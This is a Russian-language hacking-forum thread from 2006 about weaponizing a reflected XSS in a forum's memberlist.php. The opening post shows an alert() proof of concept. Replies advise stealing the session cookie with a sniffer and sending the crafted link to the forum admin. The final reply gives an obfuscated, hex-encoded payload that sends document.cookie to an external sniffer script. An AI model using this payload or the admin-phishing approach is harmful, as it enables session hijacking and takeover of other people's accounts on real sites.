ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Форумы
Перезагрузить страницу Вопрос по использованию пассивной Xss
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Вопрос по использованию пассивной Xss
  #1  
Старый 07.07.2006, 23:11
Аватар для add
add
Banned
Регистрация: 04.07.2006
Сообщений: 17
Провел на форуме:
86034

Репутация: 0
По умолчанию Вопрос по использованию пассивной Xss
народ помогите пожалуйсто вот чё я нагрёб:
memberlist.php?what=%22%3E%3Cscript%3Ealert%28%27X SS%27%29%3C%2Fscript%3E%3C%22&perpage=10
как мне составить боевую XSS и куда впихнуть будучи поставленную XSS
Зарание блогодарен!
 
Ответить с цитированием

  #2  
Старый 08.07.2006, 01:20
Аватар для m2infect
m2infect
Познающий
Регистрация: 20.06.2006
Сообщений: 34
Провел на форуме:
140396

Репутация: 5
Exclamation
Цитата:
Сообщение от add  
народ помогите пожалуйсто вот чё я нагрёб:
memberlist.php?what=%22%3E%3Cscript%3Ealert%28%27X SS%27%29%3C%2Fscript%3E%3C%22&perpage=10
как мне составить боевую XSS и куда впихнуть будучи поставленную XSS
Зарание блогодарен!
Ты получил сессию. А а тебе нужен кук. Тебе надо довабить скрип, где указан линк на сниф + кук. Спмотри описание снифера, там есть пример.
Удачи!
Если что, то пиши в ПМ.
 
Ответить с цитированием

  #3  
Старый 08.07.2006, 02:06
Аватар для Sn@k3
Sn@k3
Познавший АНТИЧАТ
Регистрация: 13.04.2006
Сообщений: 1,738
Провел на форуме:
5151669

Репутация: 1198


Отправить сообщение для Sn@k3 с помощью ICQ
По умолчанию
это обыный алерт, а чтобы плюшку дёрнуть надо сначало узнать версию форума), после кидаешь письмо админу со снифером,крч понял, не буду объяснять дофига такого на АЧАТе, поиск рулит
 
Ответить с цитированием

  #4  
Старый 08.07.2006, 03:14
Аватар для Romaxa55
Romaxa55
Участник форума
Регистрация: 19.10.2005
Сообщений: 128
Провел на форуме:
584821

Репутация: 83
Отправить сообщение для Romaxa55 с помощью ICQ
По умолчанию
Попробуй такой запрос:

Код:
memberlist.php?what=%22%3E%3Cscript%3E%69%6D%67%20%3D%20%6E%65%77%20%49%6D%61%67%65%28%29%3B%20%69%6D%67%2E%73%72%63%20%3D%20%22%68%74%74%70%3A%2F%2F%61%6E%74%69%63%68%61%74%2E%72%75%2F%63%67%69%2D%62%69%6E%2F%73%2E%6A%70%67%3F%22%2B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3B9%3C%2Fscript%3E%3C%22&perpage=10
 
Ответить с цитированием
Ответ



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Proxy FAQ foreva Чужие Статьи 12 04.01.2008 12:15
Xss для новичков Micr0b Уязвимости 0 04.06.2006 18:25
Вопрос насчет XSS на e-mail jagga_man E-Mail 7 13.04.2006 23:07
ЕсТь ВоПрос Guma Чаты 4 26.10.2005 21:48
Вопрос по использованию XSS на Powered by Invision Power Board(U) v1.3 Final rsha1988 Форумы 12 15.02.2005 01:44



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ